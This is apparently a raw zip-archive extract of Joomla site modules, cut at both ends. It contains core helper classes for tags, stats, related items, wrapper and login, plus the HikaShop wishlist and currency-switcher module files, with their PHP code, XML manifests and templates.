 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\TagsPopular\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ContentHelper;
use Joomla\Database\ParameterType;

/**
 * Helper for mod_tags_popular
 *
 * @since  3.1
 */
abstract class TagsPopularHelper
{
	/**
	 * Get list of popular tags
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  mixed
	 *
	 * @since   3.1
	 */
	public static function getList(&$params)
	{
		$db          = Factory::getDbo();
		$user        = Factory::getUser();
		$groups      = $user->getAuthorisedViewLevels();
		$timeframe   = $params->get('timeframe', 'alltime');
		$maximum     = $params->get('maximum', 5);
		$order_value = $params->get('order_value', 'title');
		$nowDate     = Factory::getDate()->toSql();
		$nullDate    = $db->getNullDate();

		$query = $db->getQuery(true)
			->select(
				[
					'MAX(' . $db->quoteName('tag_id') . ') AS ' . $db->quoteName('tag_id'),
					'COUNT(*) AS ' . $db->quoteName('count'),
					'MAX(' . $db->quoteName('t.title') . ') AS ' . $db->quoteName('title'),
					'MAX(' . $db->quoteName('t.access') . ') AS ' . $db->quoteName('access'),
					'MAX(' . $db->quoteName('t.alias') . ') AS ' . $db->quoteName('alias'),
					'MAX(' . $db->quoteName('t.params') . ') AS ' . $db->quoteName('params'),
				]
			)
			->group($db->quoteName(['tag_id', 'title', 'access', 'alias']))
			->from($db->quoteName('#__contentitem_tag_map', 'm'))
			->whereIn($db->quoteName('t.access'), $groups);

		// Only return published tags
		$query->where($db->quoteName('t.published') . ' = 1 ');

		// Filter by Parent Tag
		$parentTags = $params->get('parentTag', []);

		if ($parentTags)
		{
			$query->whereIn($db->quoteName('t.parent_id'), $parentTags);
		}

		// Optionally filter on language
		$language = ComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all');

		if ($language !== 'all')
		{
			if ($language === 'current_language')
			{
				$language = ContentHelper::getCurrentLanguage();
			}

			$query->whereIn($db->quoteName('t.language'), [$language, '*'], ParameterType::STRING);
		}

		if ($timeframe !== 'alltime')
		{
			$query->where($db->quoteName('tag_date') . ' > ' . $query->dateAdd($db->quote($nowDate), '-1', strtoupper($timeframe)));
		}

		$query->join('INNER', $db->quoteName('#__tags', 't'), $db->quoteName('tag_id') . ' = ' . $db->quoteName('t.id'))
			->join(
				'INNER', $db->quoteName('#__ucm_content', 'c'), $db->quoteName('m.core_content_id') . ' = ' . $db->quoteName('c.core_content_id')
			);

		$query->where($db->quoteName('m.type_alias') . ' = ' . $db->quoteName('c.core_type_alias'));

		// Only return tags connected to published and authorised items
		$query->where($db->quoteName('c.core_state') . ' = 1')
			->where(
				'(' . $db->quoteName('c.core_access') . ' IN (' . implode(',', $query->bindArray($groups)) . ')'
				. ' OR ' . $db->quoteName('c.core_access') . ' = 0)'
			)
			->where(
				'(' . $db->quoteName('c.core_publish_up') . ' IS NULL'
				. ' OR ' . $db->quoteName('c.core_publish_up') . ' = :nullDate2'
				. ' OR ' . $db->quoteName('c.core_publish_up') . ' <= :nowDate2)'
			)
			->where(
				'(' . $db->quoteName('c.core_publish_down') . ' IS NULL'
				. ' OR ' . $db->quoteName('c.core_publish_down') . ' = :nullDate3'
				. ' OR ' . $db->quoteName('c.core_publish_down') . ' >= :nowDate3)'
			)
			->bind([':nullDate2', ':nullDate3'], $nullDate)
			->bind([':nowDate2', ':nowDate3'], $nowDate);

		// Set query depending on order_value param
		if ($order_value === 'rand()')
		{
			$query->order($query->rand());
		}
		else
		{
			$order_direction = $params->get('order_direction', 1) ? 'DESC' : 'ASC';

			if ($params->get('order_value', 'title') === 'title')
			{
				// Backup bound parameters array of the original query
				$bounded = $query->getBounded();

				$query->setLimit($maximum);
				$query->order($db->quoteName('count') . ' DESC');
				$equery = $db->getQuery(true)
					->select(
						$db->quoteName(
							[
								'a.tag_id',
								'a.count',
								'a.title',
								'a.access',
								'a.alias',
							]
						)
					)
					->from('(' . (string) $query . ') AS ' . $db->quoteName('a'))
					->order($db->quoteName('a.title') . ' ' . $order_direction);

				$query = $equery;

				// Rebind parameters
				foreach ($bounded as $key => $obj)
				{
					$query->bind($key, $obj->value, $obj->dataType);
				}
			}
			else
			{
				$query->order($db->quoteName($order_value) . ' ' . $order_direction);
			}
		}

		$query->setLimit($maximum, 0);
		$db->setQuery($query);

		try
		{
			$results = $db->loadObjectList();
		}
		catch (\RuntimeException $e)
		{
			$results = array();
			Factory::getApplication()->enqueueMessage($e->getMessage(), 'error');
		}

		return $results;
	}
}
PK!¾X���$mod_stats/src/Helper/StatsHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_stats
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Stats\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;

/**
 * Helper for mod_stats
 *
 * @since  1.5
 */
class StatsHelper
{
	/**
	 * Get list of stats
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 */
	public static function &getList(&$params)
	{
		$app        = Factory::getApplication();
		$db         = Factory::getDbo();
		$rows       = array();
		$query      = $db->getQuery(true);
		$serverinfo = $params->get('serverinfo', 0);
		$siteinfo   = $params->get('siteinfo', 0);
		$counter    = $params->get('counter', 0);
		$increase   = $params->get('increase', 0);

		$i = 0;

		if ($serverinfo)
		{
			$rows[$i] = new \stdClass;
			$rows[$i]->title = Text::_('MOD_STATS_OS');
			$rows[$i]->data  = substr(php_uname(), 0, 7);
			$i++;

			$rows[$i] = new \stdClass;
			$rows[$i]->title = Text::_('MOD_STATS_PHP');
			$rows[$i]->data  = PHP_VERSION;
			$i++;

			$rows[$i] = new \stdClass;
			$rows[$i]->title = Text::_($db->name);
			$rows[$i]->data  = $db->getVersion();
			$i++;

			$rows[$i] = new \stdClass;
			$rows[$i]->title = Text::_('MOD_STATS_TIME');
			$rows[$i]->data  = HTMLHelper::_('date', 'now', 'H:i');
			$i++;

			$rows[$i] = new \stdClass;
			$rows[$i]->title = Text::_('MOD_STATS_CACHING');
			$rows[$i]->data  = $app->get('caching') ? Text::_('JENABLED') : Text::_('JDISABLED');
			$i++;

			$rows[$i] = new \stdClass;
			$rows[$i]->title = Text::_('MOD_STATS_GZIP');
			$rows[$i]->data  = $app->get('gzip') ? Text::_('JENABLED') : Text::_('JDISABLED');
			$i++;
		}

		if ($siteinfo)
		{
			$query->select('COUNT(' . $db->quoteName('id') . ') AS count_users')
				->from($db->quoteName('#__users'));
			$db->setQuery($query);

			try
			{
				$users = $db->loadResult();
			}
			catch (\RuntimeException $e)
			{
				$users = false;
			}

			$query->clear()
				->select('COUNT(' . $db->quoteName('c.id') . ') AS count_items')
				->from($db->quoteName('#__content', 'c'))
				->where($db->quoteName('c.state') . ' = ' . ContentComponent::CONDITION_PUBLISHED);
			$db->setQuery($query);

			try
			{
				$items = $db->loadResult();
			}
			catch (\RuntimeException $e)
			{
				$items = false;
			}

			if ($users)
			{
				$rows[$i] = new \stdClass;
				$rows[$i]->title = Text::_('MOD_STATS_USERS');
				$rows[$i]->data  = $users;
				$i++;
			}

			if ($items)
			{
				$rows[$i] = new \stdClass;
				$rows[$i]->title = Text::_('MOD_STATS_ARTICLES');
				$rows[$i]->data  = $items;
				$i++;
			}
		}

		if ($counter)
		{
			$query->clear()
				->select('SUM(' . $db->quoteName('hits') . ') AS count_hits')
				->from($db->quoteName('#__content'))
				->where($db->quoteName('state') . ' = ' . ContentComponent::CONDITION_PUBLISHED);
			$db->setQuery($query);

			try
			{
				$hits = $db->loadResult();
			}
			catch (\RuntimeException $e)
			{
				$hits = false;
			}

			if ($hits)
			{
				$rows[$i] = new \stdClass;
				$rows[$i]->title = Text::_('MOD_STATS_ARTICLES_VIEW_HITS');
				$rows[$i]->data  = $hits + $increase;
				$i++;
			}
		}

		// Include additional data defined by published system plugins
		PluginHelper::importPlugin('system');

		$arrays = (array) $app->triggerEvent('onGetStats', array('mod_stats'));

		foreach ($arrays as $response)
		{
			foreach ($response as $row)
			{
				// We only add a row if the title and data are given
				if (isset($row['title']) && isset($row['data']))
				{
					$rows[$i]        = new \stdClass;
					$rows[$i]->title = $row['title'];
					$rows[$i]->icon  = $row['icon'] ?? 'info';
					$rows[$i]->data  = $row['data'];
					$i++;
				}
			}
		}

		return $rows;
	}
}
PK!{�esHH/mod_hikashop_wishlist/mod_hikashop_wishlist.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="2.5" method="upgrade">
	<name>Hikashop Wishlist Module</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>Wishlist display for Hikashop</description>
	<files>
		<filename module="mod_hikashop_wishlist">mod_hikashop_wishlist.php</filename>
		<filename>index.html</filename>
		<folder>tmpl</folder>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="hikashopwishlistmodule" type="hikashopmodule" default="module" label="hikashop" description="HikaShop options" />
		<param name="moduleclass_sfx" type="text" default="" label="Module Class Suffix" description="PARAMMODULECLASSSUFFIX" />
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_hikashop/fields">
			<fieldset name="basic">
				<field
					name="moduleclass_sfx"
					type="text"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
			</fieldset>
			<fieldset name="hk_options" label="Hikashop Options">
				<field
					id="hikashopmodule"
					name="hikashopwishlistmodule"
					type="hikashopmodule"
					label="hikashop"
					description="HikaShop options" />
			</fieldset>
		</fields>
	</config>
</extension>
PK!�L��/mod_hikashop_wishlist/mod_hikashop_wishlist.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!defined('DS'))
	define('DS', DIRECTORY_SEPARATOR);
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')){
	echo 'This module can not work without the Hikashop Component';
	return;
};
$config =& hikashop_config();
if(!$config->get('enable_wishlist')){
	echo 'This module can not work, wishlists are not enabled';
	return;
}
$js ='';
$params->set('from_module',$module->id);
hikashop_initModule();

$module_options = $config->get('params_'.$module->id);
if(empty($module_options)){
	$module_options = $config->get('default_params');
}

$data = $params->get('hikashopwishlistmodule');
if(HIKASHOP_J30 && (empty($data) || !is_object($data))){
	$db = JFactory::getDBO();
	$query = 'SELECT params FROM '.hikashop_table('modules',false).' WHERE id = '.(int)$module->id;
	$db->setQuery($query);
	$itemData = json_decode($db->loadResult());
	if(!empty($itemData->hikashopwishlistmodule) && is_object($itemData->hikashopwishlistmodule)){
		$data = $itemData->hikashopwishlistmodule;
		$params->set('hikashopwishlistmodule',$data);
	}
}
if(!empty($data) && is_object($data)){
	foreach($data as $k => $v){
		$module_options[$k] = $v;
	}
}

foreach($module_options as $key => $option){
	if($key !='moduleclass_sfx'){
		$params->set($key,$option);
	}
}
foreach(get_object_vars($module) as $k => $v){
	if(!is_object($v) && $params->get($k,null)==null){
		$params->set($k,$v);
	}
}

$moduleClass = hikashop_get('class.modules');
if($moduleClass->restrictedModule($params) === false)
	return;

$params->set('cart_type','wishlist');
$params->set('from','module');
$html = trim(hikashop_getLayout('product','cart',$params,$js));
require(JModuleHelper::getLayoutPath('mod_hikashop_wishlist'));
PK!јi&mod_hikashop_wishlist/tmpl/default.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!empty($html)){
?>
<div class="hikashop_wishlist_module <?php echo  (!empty($module->params) && is_array($module->params) ? @$module->params['moduleclass_sfx'] : ''); ?>" id="hikashop_wishlist_module">
<?php echo $html; ?>
</div>
<?php }
PK!�#o,,%mod_hikashop_wishlist/tmpl/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!�#o,, mod_hikashop_wishlist/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!��x8333mod_related_items/src/Helper/RelatedItemsHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_related_items
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\RelatedItems\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;
use Joomla\Component\Content\Administrator\Extension\ContentComponent;
use Joomla\Component\Content\Site\Helper\RouteHelper;
use Joomla\Database\ParameterType;

/**
 * Helper for mod_related_items
 *
 * @since  1.5
 */
abstract class RelatedItemsHelper
{
	/**
	 * Get a list of related articles
	 *
	 * @param   \Joomla\Registry\Registry  &$params  module parameters
	 *
	 * @return  array
	 */
	public static function getList(&$params)
	{
		$db        = Factory::getDbo();
		$app       = Factory::getApplication();
		$input     = $app->input;
		$groups    = Factory::getUser()->getAuthorisedViewLevels();
		$maximum   = (int) $params->get('maximum', 5);
		$factory   = $app->bootComponent('com_content')->getMVCFactory();

		// Get an instance of the generic articles model
		/** @var \Joomla\Component\Content\Site\Model\ArticlesModel $articles */
		$articles = $factory->createModel('Articles', 'Site', ['ignore_request' => true]);

		// Set application parameters in model
		$articles->setState('params', $app->getParams());

		$option = $input->get('option');
		$view   = $input->get('view');

		if (!($option === 'com_content' && $view === 'article'))
		{
			return [];
		}

		$temp = $input->getString('id');
		$temp = explode(':', $temp);
		$id   = (int) $temp[0];

		$now      = Factory::getDate()->toSql();
		$related  = [];
		$query    = $db->getQuery(true);

		if ($id)
		{
			// Select the meta keywords from the item
			$query->select($db->quoteName('metakey'))
				->from($db->quoteName('#__content'))
				->where($db->quoteName('id') . ' = :id')
				->bind(':id', $id, ParameterType::INTEGER);
			$db->setQuery($query);

			try
			{
				$metakey = trim($db->loadResult());
			}
			catch (\RuntimeException $e)
			{
				$app->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

				return array();
			}

			// Explode the meta keys on a comma
			$keys  = explode(',', $metakey);
			$likes = [];

			// Assemble any non-blank word(s)
			foreach ($keys as $key)
			{
				$key = trim($key);

				if ($key)
				{
					$likes[] = $db->escape($key);
				}
			}

			if (\count($likes))
			{
				// Select other items based on the metakey field 'like' the keys found
				$query->clear()
					->select($db->quoteName('a.id'))
					->from($db->quoteName('#__content', 'a'))
					->where($db->quoteName('a.id') . ' != :id')
					->where($db->quoteName('a.state') . ' = ' . ContentComponent::CONDITION_PUBLISHED)
					->whereIn($db->quoteName('a.access'), $groups)
					->bind(':id', $id, ParameterType::INTEGER);

				$binds  = [];
				$wheres = [];

				foreach ($likes as $keyword)
				{
					$binds[] = '%' . $keyword . '%';
				}

				$bindNames = $query->bindArray($binds, ParameterType::STRING);

				foreach ($bindNames as $keyword)
				{
					$wheres[] = $db->quoteName('a.metakey') . ' LIKE ' . $keyword;
				}

				$query->extendWhere('AND', $wheres, 'OR')
					->extendWhere('AND', [ $db->quoteName('a.publish_up') . ' IS NULL', $db->quoteName('a.publish_up') . ' <= :nowDate1'], 'OR')
					->extendWhere(
						'AND',
						[
							$db->quoteName('a.publish_down') . ' IS NULL',
							$db->quoteName('a.publish_down') . ' >= :nowDate2'
						],
						'OR'
					)
					->bind([':nowDate1', ':nowDate2'], $now);

				// Filter by language
				if (Multilanguage::isEnabled())
				{
					$query->whereIn($db->quoteName('a.language'), [Factory::getLanguage()->getTag(), '*'], ParameterType::STRING);
				}

				$query->setLimit($maximum);
				$db->setQuery($query);

				try
				{
					$articleIds = $db->loadColumn();
				}
				catch (\RuntimeException $e)
				{
					$app->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

					return [];
				}

				if (\count($articleIds))
				{
					$articles->setState('filter.article_id', $articleIds);
					$articles->setState('filter.published', 1);
					$related = $articles->getItems();
				}

				unset($articleIds);
			}
		}

		if (\count($related))
		{
			// Prepare data for display using display options
			foreach ($related as &$item)
			{
				$item->slug  = $item->id . ':' . $item->alias;
				$item->route = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language));
			}
		}

		return $related;
	}
}
PK!Y:n��/mod_hikashop_currency/mod_hikashop_currency.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="1.5.0" method="upgrade">
	<name>Hikashop Currency Switcher Module</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>Currency Switcher display for Hikashop</description>
	<files>
		<filename module="mod_hikashop_currency">mod_hikashop_currency.php</filename>
		<filename>index.html</filename>
		<folder>tmpl</folder>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="moduleclass_sfx" type="text" default="" label="Module Class Suffix" description="PARAMMODULECLASSSUFFIX" />
		<param name="mode_noform" type="radio" default="0" label="Do not use a form" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_product_page" type="radio" default="1" label="Display on the product page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_product_listing_page" type="radio" default="1" label="Display on the product listing page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_product_compare_page" type="radio" default="1" label="Display on the product compare page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_category_listing_page" type="radio" default="1" label="Display on the category listing page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_checkout_page" type="radio" default="1" label="Display on the checkout page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_contact_page" type="radio" default="1" label="Display on the contact page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_waitlist_page" type="radio" default="1" label="Display on the waitlist page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
	</params>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field  name="moduleclass_sfx" type="text" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
				<field name="mode_noform" type="radio" default="0" label="Do not use a form" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_product_page" type="radio" default="1" label="Display on the product page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_product_listing_page" type="radio" default="1" label="Display on the product listing page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_product_compare_page" type="radio" default="1" label="Display on the product compare page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_category_listing_page" type="radio" default="1" label="Display on the category listing page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_checkout_page" type="radio" default="1" label="Display on the checkout page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_contact_page" type="radio" default="1" label="Display on the contact page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_waitlist_page" type="radio" default="1" label="Display on the waitlist page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
PK!�
mm/mod_hikashop_currency/mod_hikashop_currency.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!defined('DS'))
	define('DS', DIRECTORY_SEPARATOR);
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')){
	echo 'This module can not work without the Hikashop Component';
	return;
};

$moduleClass = hikashop_get('class.modules');
if($moduleClass->restrictedModule($params) === false)
	return;

$mode_noform = $params->get('mode_noform', 0);
$currency = hikashop_get('type.currency');
$config =& hikashop_config();
$redirectUrl = hikashop_currentURL();
require(JModuleHelper::getLayoutPath('mod_hikashop_currency'));
PK!�#o,,%mod_hikashop_currency/tmpl/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!	��U��&mod_hikashop_currency/tmpl/default.phpnu�[���<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><div class="hikashop_currency_module <?php echo (!empty($module->params) && is_array($module->params) ? @$module->params['moduleclass_sfx'] : ''); ?>" id="hikashop_currency_module_<?php echo $module->id; ?>">
<?php if(empty($mode_noform)) { ?>
	<form action="<?php echo hikashop_completeLink('currency&task=update'); ?>" method="post" name="hikashop_currency_form_<?php echo $module->id; ?>">
		<input type="hidden" name="return_url" value="<?php echo urlencode($redirectUrl); ?>" />
		<?php echo $currency->display('hikashopcurrency',hikashop_getCurrency(),'class="hikashopcurrency" onchange="this.form.submit();"'); ?>
	</form>
<?php } else {
	echo $currency->display(null, hikashop_getCurrency(), 'class="hikashopcurrency" id="hikashopcurrency_'.$module->id.'" onchange="window.localPage.switchCurrency(this);"');
?>
<script type="text/javascript">
if(!window.localPage) window.localPage = {};
window.localPage.switchCurrency = function(el) {
	var url = "<?php echo hikashop_completeLink('currency&task=update&hikashopcurrency={ID}'); ?>";
	url += ((url.indexOf("?") !== false) ? "?" : "&") + "return_url=<?php echo urlencode($redirectUrl); ?>";
	window.location = url.replace("{ID}", el.value);
};
</script>
<?php } ?>
</div>
PK!�#o,, mod_hikashop_currency/index.htmlnu�[���<html><body bgcolor="#FFFFFF"></body></html>PK!h� d��(mod_wrapper/src/Helper/WrapperHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_wrapper
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Wrapper\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;

/**
 * Helper for mod_wrapper
 *
 * @since  1.5
 */
class WrapperHelper
{
	/**
	 * Gets the parameters for the wrapper
	 *
	 * @param   mixed  &$params  The parameters set in the administrator section
	 *
	 * @return  mixed  &$params  The modified parameters
	 *
	 * @since   1.5
	 */
	public static function getParams(&$params)
	{
		$params->def('url', '');
		$params->def('scrolling', 'auto');
		$params->def('height', '200');
		$params->def('height_auto', 0);
		$params->def('width', '100%');
		$params->def('add', 1);
		$params->def('name', 'wrapper');

		$url = $params->get('url');

		if ($params->get('add'))
		{
			// Adds 'http://' if none is set
			if (strpos($url, '/') === 0)
			{
				// Relative URL in component. use server http_host.
				$url = 'http://' . Factory::getApplication()->input->server->get('HTTP_HOST') . $url;
			}
			elseif (strpos($url, 'http') === false && strpos($url, 'https') === false)
			{
				$url = 'http://' . $url;
			}
		}

		$load = '';

		// Auto height control
		if ($params->def('height_auto'))
		{
			$load = 'onload="iFrameHeight(this)"';
		}

		$params->set('load', $load);
		$params->set('url', $url);

		return $params;
	}
}
PK!Z1�7		$mod_login/src/Helper/LoginHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_login
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Login\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Uri\Uri;

/**
 * Helper for mod_login
 *
 * @since  1.5
 */
class LoginHelper
{
	/**
	 * Retrieve the URL where the user should be returned after logging in
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 * @param   string                     $type    return type
	 *
	 * @return  string
	 */
	public static function getReturnUrl($params, $type)
	{
		$item = Factory::getApplication()->getMenu()->getItem($params->get($type));

		// Stay on the same page
		$url = Uri::getInstance()->toString();

		if ($item)
		{
			$lang = '';

			if ($item->language !== '*' && Multilanguage::isEnabled())
			{
				$lang = '&lang=' . $item->language;
			}

			$url = 'index.php?Itemid=' . $item->id . $lang;
		}

		return base64_encode($url);
	}

	/**
	 * Returns the current users type
	 *
	 * @return string
	 */
	public static function getType()
	{
		$user = Factory::getUser();

		return (!$user->get('guest')) ? 'logout' : 'login';
	}

	/**
	 * Retrieve the URL for the registration page
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 *
	 * @return  string
	 */
	public static function getRegistrationUrl($params)
	{
		$regLink = 'index.php?option=com_users&view=registration';
		$regLinkMenuId = $params->get('customRegLinkMenu');

		// If there is a custom menu item set for registration => override default
		if ($regLinkMenuId)
		{
			$item = Factory::getApplication()->getMenu()->getItem($regLinkMenuId);

			if ($item)
			{
				$regLink = 'index.php?Itemid=' . $regLinkMenuId;

				if ($item->language !== '*' && Multilanguage::isEnabled())
				{
					$regLink .= '&lang=' . $item->language;
				}
			}
		}

		return $regLink;
	}
}
PK!$�A���1mod_tags_similar/src/Helper/TagsSimilarHelper.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_tags_similar
 *
 * @copyright   (C) 2013 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\TagsSimilar\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Factory;
use Joomla\CMS\Helper\ContentHelper;
use Joomla\CMS\Helper\TagsHelper;
use Joomla\CMS\Language\Text;
use Joomla\Component\Tags\Site\Helper\RouteHelper;
use Joomla\Database\ParameterType;
use Joomla\Registry\Registry;

/**
 * Helper for mod_tags_similar
 *
 * @since  3.1
 */
abstract class TagsSimilarHelper
{
	/**
	 * Get a list of tags
	 *
	 * @param   Registry  &$params  Module parameters
	 *
	 * @return  array
	 */
	public static function getList(&$params)
	{
		$app    = Factory::getApplication();
		$option = $app->input->get('option');
		$view   = $app->input->get('view');

		// For now assume com_tags and com_users do not have tags.
		// This module does not apply to list views in general at this point.
		if ($option === 'com_tags' || $view === 'category' || $option === 'com_users')
		{
			return array();
		}

		$db         = Factory::getDbo();
		$user       = Factory::getUser();
		$groups     = $user->getAuthorisedViewLevels();
		$matchtype  = $params->get('matchtype', 'all');
		$ordering   = $params->get('ordering', 'count');
		$tagsHelper = new TagsHelper;
		$prefix     = $option . '.' . $view;
		$id         = $app->input->getInt('id');
		$now        = Factory::getDate()->toSql();
		$nullDate   = $db->getNullDate();

		// This returns a comma separated string of IDs.
		$tagsToMatch = $tagsHelper->getTagIds($id, $prefix);

		if (!$tagsToMatch)
		{
			return array();
		}

		$tagsToMatch = explode(',', $tagsToMatch);
		$tagCount    = \count($tagsToMatch);

		$query = $db->getQuery(true);
		$query
			->select(
				[
					$db->quoteName('m.core_content_id'),
					$db->quoteName('m.content_item_id'),
					$db->quoteName('m.type_alias'),
					'COUNT( ' . $db->quoteName('tag_id') . ') AS ' . $db->quoteName('count'),
					$db->quoteName('ct.router'),
					$db->quoteName('cc.core_title'),
					$db->quoteName('cc.core_alias'),
					$db->quoteName('cc.core_catid'),
					$db->quoteName('cc.core_language'),
					$db->quoteName('cc.core_params'),
				]
			)
			->from($db->quoteName('#__contentitem_tag_map', 'm'))
			->join(
				'INNER',
				$db->quoteName('#__tags', 't'),
				$db->quoteName('m.tag_id') . ' = ' . $db->quoteName('t.id')
			)
			->join(
				'INNER',
				$db->quoteName('#__ucm_content', 'cc'),
				$db->quoteName('m.core_content_id') . ' = ' . $db->quoteName('cc.core_content_id')
			)
			->join(
				'INNER',
				$db->quoteName('#__content_types', 'ct'),
				$db->quoteName('m.type_alias') . ' = ' . $db->quoteName('ct.type_alias')
			)
			->whereIn($db->quoteName('m.tag_id'), $tagsToMatch)
			->whereIn($db->quoteName('t.access'), $groups)
